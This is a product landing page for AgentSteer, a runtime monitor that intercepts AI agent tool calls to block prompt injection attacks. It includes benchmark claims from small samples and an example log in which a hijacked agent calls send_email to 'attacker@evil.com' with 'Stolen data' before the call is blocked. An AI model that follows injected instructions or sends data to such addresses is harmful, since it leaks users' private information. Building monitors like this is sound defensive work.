RUNTIME PROTECTION FOR AI AGENTS

Stop prompt injection attacksbefore they execute

Runtime protection that steers AI agents away from dangerous actions while preserving their ability to complete the task.

For Security TeamsFor Developers
100%

Attacks blocked

Claude Code on AgentDojo (n=20)

95%

Attacks blocked

OpenHands on AgentDojo (n=20)

<200ms

Latency per call

median response time

WHAT WE PROTECT AGAINST

Real-time threat detection for AI agents

AI coding agents can be hijacked through prompt injection to perform unauthorized actions. AgentSteer intercepts every tool call and blocks threats before they execute.

🔒

Data exfiltration

Protected

Agents tricked into sending sensitive data to external endpoints via email, HTTP requests, or file uploads.

Detected by delegation policy (P2) and target verification (P4)

⚠

Malicious code execution

Protected

Injected commands that run arbitrary code, install backdoors, or execute remote payloads.

Detected by category mismatch policy (P3)

🗑

Unintended deletion or modification

Protected

Agents deleting files, dropping databases, or modifying configurations they should not touch.

Detected by read-only policy (P1) and category mismatch (P3)

📨

Unauthorized delegation

Protected

Sending task details to external URLs, emails, or services the agent was never asked to contact.

Detected by delegation policy (P2)

HOW IT WORKS

Steer agents to safe outcomes

AgentSteer doesn't just block. When a dangerous action is prevented, the agent receives the reason and continues its task on the right path.

1

Intercept

A PreToolUse hook captures every tool call before execution. Works with Claude Code, OpenHands, or any Python agent.

2

Analyze

A security model scores the action against the task description across four policies: read-only, delegation, category, and target.

3

Steer

Dangerous actions are blocked with a clear reason. The agent adapts and completes the task safely, preserving capability.

IN ACTION

Attack blocked, task completed

A prompt injection tries to exfiltrate data. AgentSteer blocks the malicious action and the agent continues with the legitimate task.

agentsteer monitor

Task: "Get calendar events for May 15 and reply to the email from Sarah"


> Agent calls: send_email(to="attacker@evil.com", subject="Stolen data", body="...")


✗ BLOCKED by AgentSteer

Policy: P3 Category mismatch

Reason: Task requires calendar and email reply, not sending to unknown recipients

Score: 0.90 (threshold: 0.80)


> Agent continues with legitimate task...

> Agent calls: get_day_calendar_events(day="2024-05-15")

✓ ALLOWED (score: 0.0)

GET STARTED

Protection in minutes, not months

Security Teams

Continuous monitoring for every AI agent action. Audit trail of all scored actions with block decisions, policy violations, and reasoning.

100% attack blocking on Claude Code, 95% on OpenHands (AgentDojo, n=20)

Developers

Install in minutes. Works with Claude Code and OpenHands out of the box. Three lines of code for any Python agent framework.

pip install agentsteer